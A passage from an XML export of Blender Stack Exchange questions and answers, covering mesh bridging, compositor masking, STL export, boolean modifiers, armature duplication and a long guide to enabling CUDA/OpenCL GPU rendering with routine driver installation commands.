src=&quot;https://i.stack.imgur.com/hYINv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;bridge them together using the bridge tool, &lt;kbd&gt;W&lt;/kbd&gt; -&gt; Bridge Edge Loops&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Number of Cuts: adjust this so that the generated polygons look square&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Interpolation: Blend Surface, has the best look for bridging terrain&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Smoothness: adjust this to your liking&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RpSGz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Km2sd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-02T18:28:51.907" LastActivityDate="2014-03-02T18:28:51.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7475" PostTypeId="2" ParentId="7458" CreationDate="2014-03-02T17:19:09.537" Score="2" Body="&lt;p&gt;You need to install the latest Nvidia Driver for you graphics card. You can download them from  the nvidia website here: &lt;strong&gt;&lt;a href=&quot;http://www.nvidia.com/object/mac-driver-archive.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mac Nvidia Drivers&lt;/a&gt;&lt;/strong&gt;. After you have done this you need to restart blender and the CUDA option should be available under the System Tab in you User preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/44php.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-02T17:19:09.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7476" PostTypeId="1" AcceptedAnswerId="7478" CreationDate="2014-03-02T21:02:46.313" Score="4" ViewCount="1114" Body="&lt;p&gt;In compositor I want to apply color balance node only on a part of image for which I have a mask.&#xA;I have issue with combining original image with modified part so that a colors aren't mixed together but they're replaced (in place of the mask)&#xA;How can I achieve this effect?&lt;/p&gt;&#xA;" OwnerUserId="2305" LastActivityDate="2014-03-03T23:44:06.507" Title="Cycles compositor - apply color balance node only on a part of image" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7477" PostTypeId="1" AcceptedAnswerId="7493" CreationDate="2014-03-02T21:24:58.787" Score="3" ViewCount="4910" Body="&lt;p&gt;I am having trouble exporting meshes as .stl files from blender, when I import the exported mesh into Slic3r nothing shows up. However when I import an already existing model into blender and then export that as a .stl, it works fine in Slic3r&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27253&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.sendspace.com/file/wz8exb&quot; rel=&quot;nofollow&quot;&gt;stl file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2651" LastEditorUserId="241" LastEditDate="2020-06-26T13:12:12.310" LastActivityDate="2020-06-26T13:12:12.310" Title="Exported STL is empty in Slic3r" Tags="&lt;export&gt;&lt;3d-printing&gt;&lt;stl&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7478" PostTypeId="2" ParentId="7476" CreationDate="2014-03-02T21:27:31.097" Score="2" Body="&lt;p&gt;Based on the information in your question I am assuming you already created the mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of combing the two results after you have colored corrected the one you could restrict the color correction to a specific region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this feed the mask into the Fac Input of the Color Balance Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/woE5l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use an image as a mask. Plug the image into the Fac Input of the Color Balance Node. Note that white means apply, black mean ignore. THis mean that the color balance will only be applied where the image is white. In my case I had to invert the colors to only apply the color balance on the scribble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HcG40.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-02T22:05:44.643" LastActivityDate="2014-03-02T22:05:44.643" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7479" PostTypeId="2" ParentId="7477" CreationDate="2014-03-02T21:53:03.317" Score="1" Body="&lt;p&gt;Be sure to select your model before exporting to STL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The export turns up empty when no object is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the file size for the STL file after export. It should be bigger than 100 bytes or so. My empty file is 84 bytes.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-03-02T21:53:03.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7480" PostTypeId="1" CreationDate="2014-03-02T22:29:19.087" Score="16" ViewCount="79116" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yubOM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the top half of the circle to make a cut but whenever I apply the boolean modifier, the circle just stays there and becomes attached to my other object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to make the cut in a standard cube but not sure why it's not working for this...?&lt;/p&gt;&#xA;" OwnerUserId="2648" LastEditorUserId="2648" LastEditDate="2014-03-02T22:34:40.703" LastActivityDate="2020-05-15T19:22:10.040" Title="Why doesn't the boolean modifier work for me?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7481" PostTypeId="2" ParentId="7480" CreationDate="2014-03-02T22:30:45.757" Score="8" Body="&lt;p&gt;There might be a problem with the normals. Select the Cylinder and go into edit mode, and recalculate the normals, &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;N&lt;/kbd&gt;. Do the same for the box object.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the Box like object (not the cylinder). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a boolean modifier &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the cylinder as the Object in the Boolean Modifier settings&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to set the boolean modifier to difference.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g31ws.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you have other modifier on the mesh you might need to apply those first, before you apply the boolean modifier.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-02T22:45:24.763" LastActivityDate="2014-03-02T22:45:24.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7484" PostTypeId="1" CreationDate="2014-03-03T01:42:54.043" Score="10" ViewCount="2169" Body="&lt;p&gt;Blender stores the session contents in a binary file format. But actually, much of that data is not really &quot;binary&quot; (like a e.g. a sound file), but structured data, similar to program code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools (either built-in or external), allowing to find out the precise difference between two blender files? And if so, when working with these tools, are spurious diffs an issue? (e.g. rounding errors in numbers, reordering of entries in collections).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background information: I'm trying to build up a controlled work environment and workflow, as I know it from software development.&lt;/p&gt;&#xA;" OwnerUserId="2615" LastActivityDate="2014-03-03T06:50:31.577" Title="Get a diff between two .blend files" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7485" PostTypeId="1" AcceptedAnswerId="7486" CreationDate="2014-03-03T02:42:45.413" Score="93" ViewCount="225094" Body="&lt;p&gt;I want to enable GPU rendering, but there is no option in &lt;em&gt;User Preferences &gt; System&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hIJjy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? How can I get cycles to render using my GPU?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-26T17:57:39.090" LastActivityDate="2019-11-27T02:55:29.633" Title="Enabling GPU rendering for Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;&lt;opencl&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="37" CommunityOwnedDate="2014-03-03T21:27:10.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="7486" PostTypeId="2" ParentId="7485" CreationDate="2014-03-03T02:42:45.413" Score="131" Body="&lt;p&gt;&lt;strong&gt;Ensure GPU Support&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blender.org/manual/render/cycles/features.html#features&quot; rel=&quot;noreferrer&quot;&gt;Currently cycles supports&lt;/a&gt; CUDA (Nvidia) devices and has &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.75/Cycles#Support_for_AMD_GPUs&quot; rel=&quot;noreferrer&quot;&gt;experimental support for OpenCL devices as of 2.75&lt;/a&gt; (added in &lt;a href=&quot;https://developer.blender.org/rB7f4479da425b&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;B7f447&lt;/code&gt;&lt;/a&gt;). If you are using an AMD/ATI graphics card, see the OpenCL section below. If you are running an older NVIDIA card, ie the Geforce series, support is extremely limited and these are not officially supported, see &lt;a href=&quot;https://blender.stackexchange.com/q/1448/12&quot;&gt;How to enable GPU rendering on older Nvidia GPUs?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;CUDA/NVIDIA&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Cycles only supports CUDA GPUs with a CUDA compute ability of 3.0 or higher. To use CUDA, check to make sure your GPU is on &lt;a href=&quot;https://developer.nvidia.com/cuda-gpus&quot; rel=&quot;noreferrer&quot;&gt;this list&lt;/a&gt; of CUDA capable GPUs and has a ranking of at least 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Install Latest Drivers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your GPU has a CUDA compute ability greater than or equal to 3.0 and you still don't have the option to enable GPU rendering, you can check a couple more things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure you are using the &lt;a href=&quot;http://www.nvidia.com/Download/index.aspx&quot; rel=&quot;noreferrer&quot;&gt;proprietary drivers distributed by Nvidia&lt;/a&gt; and that your GPU drivers are up to date.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are compiling Blender from source, ensure you have the &lt;a href=&quot;https://developer.nvidia.com/cuda-toolkit&quot; rel=&quot;noreferrer&quot;&gt;CUDA development toolkit&lt;/a&gt; installed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Below are instructions for various operating systems. &lt;strong&gt;If you are still having issues after trying all the steps listed in this post, try &lt;a href=&quot;http://blenderartists.org/forum/forumdisplay.php?44-Technical-Support&quot; rel=&quot;noreferrer&quot;&gt;asking for support on BlenderArtists&lt;/a&gt;&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;sub&gt;This site is not well suited to localized troubleshooting discussions often needed to untangle unusual hardware/driver issues.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Linux&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Run as root&lt;/strong&gt;&lt;br&gt;&#xA;Due to an issue with some versions of the &lt;a href=&quot;https://bugs.archlinux.org/task/39141&quot; rel=&quot;noreferrer&quot;&gt;nvidia drivers&lt;/a&gt;, you must run blender (or any other program which uses cuda) as root before you can use any cuda features as a normal user. See &lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?pid=1389028#p1389028&quot; rel=&quot;noreferrer&quot;&gt;this thread&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Ubuntu-based Distributions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Open your driver manager and select the recommended driver and Apply Changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bhlzK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also use the terminal to install the latest stable driver.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;math-container&quot;&gt;$ sudo apt-add-repository ppa:ubuntu-x-swat/x-updates&#xA;    $&lt;/span&gt; sudo apt-get update&#xA;$ sudo apt-get install nvidia-current&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For linux Mint, Ubuntu and Debian variants (and maybe other distributions) you will need to install the package &lt;strong&gt;nvidia-modprobe&lt;/strong&gt; which will detect your nvidia CUDA device and make it available for blender. Read this &lt;a href=&quot;https://blender.stackexchange.com/a/31111/1853&quot;&gt;answer&lt;/a&gt; for further instructions&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Debian Jesse&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please note that these instructions were put together in June 2015 on Debian Jesse. Although Debian is a very stable distribution, it isn't unlikely that this will be out of date on Debian Stretch. If you have more up to date information, please feel free to edit this.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before we can install the drivers, we will need to install the kernel headers from the &lt;code&gt;contrib nonfree&lt;/code&gt; repository. If this repository hasn't been added already, open &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; with nano:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo nano /etc/apt/sources.list&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://http.debian.net/debian/ jessie main contrib non-free &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For Debian to recognize the repository, we will need to refresh the package list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once this is done, the headers can be installed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;math-container&quot;&gt;$ sudo apt-get install linux-headers-$&lt;/span&gt;(uname -r|sed 's,[^-]*-[^-]*-,,') nvidia-kernel-dkms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With some &lt;code&gt;sed&lt;/code&gt; magic, this will install the correct headers for your version of the kernel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we need to blacklist (disable) the open source nouveau driver. To do this, we will create an Xorg configuration file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;math-container&quot;&gt;$ sudo mkdir /etc/X11/xorg.conf.d&#xA;$&lt;/span&gt; sudo echo -e 'Section &quot;Device&quot;\n\tIdentifier &quot;My GPU&quot;\n\tDriver &quot;nvidia&quot;\nEndSection' &amp;gt; /etc/X11/xorg.conf.d/20-nvidia.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And reboot the computer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ reboot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All that is required afterwards, is to install cuda:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install nvidia-cuda-toolkit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more in depth information, please see &lt;a href=&quot;https://wiki.debian.org/NvidiaGraphicsDrivers&quot; rel=&quot;noreferrer&quot;&gt;https://wiki.debian.org/NvidiaGraphicsDrivers&lt;/a&gt; (only covers the drivers, not cuda). If you are running a GTX 970 or 980 you will need a special build of cuda available &lt;a href=&quot;https://developer.nvidia.com/cuda-downloads-geforce-gtx9xx&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Arch Linux&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Identifying your GPU:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://wiki.archlinux.org/index.php/NVIDIA#Installing&quot; rel=&quot;noreferrer&quot;&gt;Arch wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you don't know what GPU you have, you can find out by running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ lspci -k | grep -A 2 -i &quot;VGA&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Drivers and CUDA:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Arch Linux, &lt;a href=&quot;https://wiki.archlinux.org/index.php/NVIDIA#Installing&quot; rel=&quot;noreferrer&quot;&gt;installing proprietary Nvidia drivers for your GPU&lt;/a&gt; can be as simple as installing the &lt;a href=&quot;https://www.archlinux.org/packages/extra/x86_64/nvidia/&quot; rel=&quot;noreferrer&quot;&gt;nvidia package&lt;/a&gt; and then rebooting:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-js prettyprint-override&quot;&gt;&lt;code&gt;# pacman -S nvidia&#xA;# systemctl reboot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are compiling Blender from source, you will also need the &lt;a href=&quot;https://wiki.archlinux.org/index.php/GPGPU#CUDA&quot; rel=&quot;noreferrer&quot;&gt;CUDA toolkit&lt;/a&gt;. You can get it by installing the &lt;a href=&quot;https://www.archlinux.org/packages/community/x86_64/cuda/&quot; rel=&quot;noreferrer&quot;&gt;cuda package&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-js prettyprint-override&quot;&gt;&lt;code&gt;# pacman -S cuda&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Windows 7&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find out what GPU you have in the Device Manager. Go to &lt;em&gt;Start -&gt; Control Panel -&gt; System and Security -&gt; System -&gt; Device Manager&lt;/em&gt;), then open the &lt;em&gt;Display adapters&lt;/em&gt; tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ML5hF.png&quot; alt=&quot;Screenshot of Device Manager showing an NVIDIA GeForce GTX 580&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To find out the architecture of your Windows installation, open a command prompt (search for &lt;code&gt;cmd&lt;/code&gt; in the start menu) and run &lt;code&gt;wmic os get osarchitecture&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JIKP9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can get this information from a GUI by going to &lt;em&gt;Start -&gt; Control Panel -&gt; System and Security -&gt; System&lt;/em&gt; or by using the keyboard shortcut &lt;kbd&gt;Windows Key&lt;/kbd&gt;&lt;kbd&gt;Pause&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VEEm0.png&quot; alt=&quot;Screenshot showing the architecture of Windows.&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the &lt;strong&gt;&lt;a href=&quot;http://www.nvidia.com/Download/index.aspx?lang=en-us&quot; rel=&quot;noreferrer&quot;&gt;Nvidia Website&lt;/a&gt;&lt;/strong&gt; and select your driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cPAOP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, download and install the proper driver for your architecture. I am assuming you know how to use installers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S2PDg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nvidia Optimus:&lt;/strong&gt;&lt;br&gt;&#xA;If you're running Blender on a notebook with Nvidia Optimus, make sure it uses the &lt;em&gt;dedicated GPU&lt;/em&gt;. Either configure Blender to always use the dedicated over the integrated GPU in the &lt;em&gt;Nvidia Control Panel&lt;/em&gt;, or right-click &lt;code&gt;Blender.exe&lt;/code&gt; (or a shortcut to Blender) and select the Nvidia GPU in the the &lt;em&gt;Run with graphics processor&lt;/em&gt; menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/grcUe.png&quot; alt=&quot;Run with high-performance Nvidia processor (GPU)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;OS X&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Install the latest Nvidia Driver for you graphics card. You can download them &lt;a href=&quot;http://www.nvidia.com/object/mac-driver-archive.html&quot; rel=&quot;noreferrer&quot;&gt;from the Nvidia website&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the &lt;em&gt;CUDADriver.pkg&lt;/em&gt; file by double clicking it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fAqz9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go through the installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2wmnZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it installed correctly, there should be a new CUDA option in the &lt;em&gt;System Preferences&lt;/em&gt; (the only time you need to go here is to install updates):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8gsRb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Finally after you have installed your drivers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart your computer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start Blender.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There should now be an option in the Blender's settings allowing you to select CUDA and your GPU:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cfNwl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then select the GPU in &lt;em&gt;Render settings &gt; Render &gt; Device&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W7X2W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;OpenCL&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.75/Cycles#Support_for_AMD_GPUs&quot; rel=&quot;noreferrer&quot;&gt;As of blender 2.75&lt;/a&gt;, AMD HD 7xxx+ GPUs are &lt;a href=&quot;http://blender.org/manual/render/cycles/gpu_rendering.html#opencl&quot; rel=&quot;noreferrer&quot;&gt;officially supported&lt;/a&gt;.&#xA;&lt;a href=&quot;https://www.khronos.org/conformance/adopters/conformant-products#opencl&quot; rel=&quot;noreferrer&quot;&gt;Other OpenCL devices&lt;/a&gt; may work, and can be tested by force-enabling OpenCL with an environment variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CYCLES_OPENCL_SPLIT_KERNEL_TEST=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/q/31930/599&quot;&gt;Is it possible to do OpenCL rendering on Intel processors?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Ubuntu/Debian&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On Ubuntu/debian you may need to install  &lt;strong&gt;ocl-icd-opencl-dev&lt;/strong&gt; package&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;ArchLinux&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nvidia OpenCL&lt;/strong&gt;&lt;br&gt;&#xA;To get OpenCL working for nvidia GPUs, ensure that the &lt;code&gt;opencl-nvidia&lt;/code&gt; package is installed:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-js prettyprint-override&quot;&gt;&lt;code&gt;# pacman -S opencl-nvidia&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then run blender with the environment variable set to 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CYCLES_OPENCL_SPLIT_KERNEL_TEST=1 blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;User Preferences &gt; System&lt;/em&gt; there should now be an &lt;em&gt;OpenCL&lt;/em&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pkYHy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's selected, rendering on the GPU will now use opencl.&#xA;Note that the first time you try to render, blender will have to first compile the necessary kernels which may some time.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="8081" LastEditDate="2019-10-28T04:29:17.733" LastActivityDate="2019-10-28T04:29:17.733" CommentCount="24" CommunityOwnedDate="2014-03-03T02:42:45.413" ContentLicense="CC BY-SA 4.0" />
  <row Id="7487" PostTypeId="2" ParentId="7461" CreationDate="2014-03-03T04:21:08.433" Score="6" Body="&lt;p&gt;Duplicating an armature with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; only works while in object mode and it will only create a duplicate armature in the same file. Also &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; only copies the armature object in object mode, in pose mode it will copy the bone locations allowing you to copy the pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, with two models in a separate files, you could also open the second blend file then Select Append from the file menu. Link will use the same armature while append will copy the armature into the current file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ebgPK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you select a blend file it will show the following list -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EuJh7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First go into object and select the armature you want. Then append again and go into Action and select the actions you want to import into the new 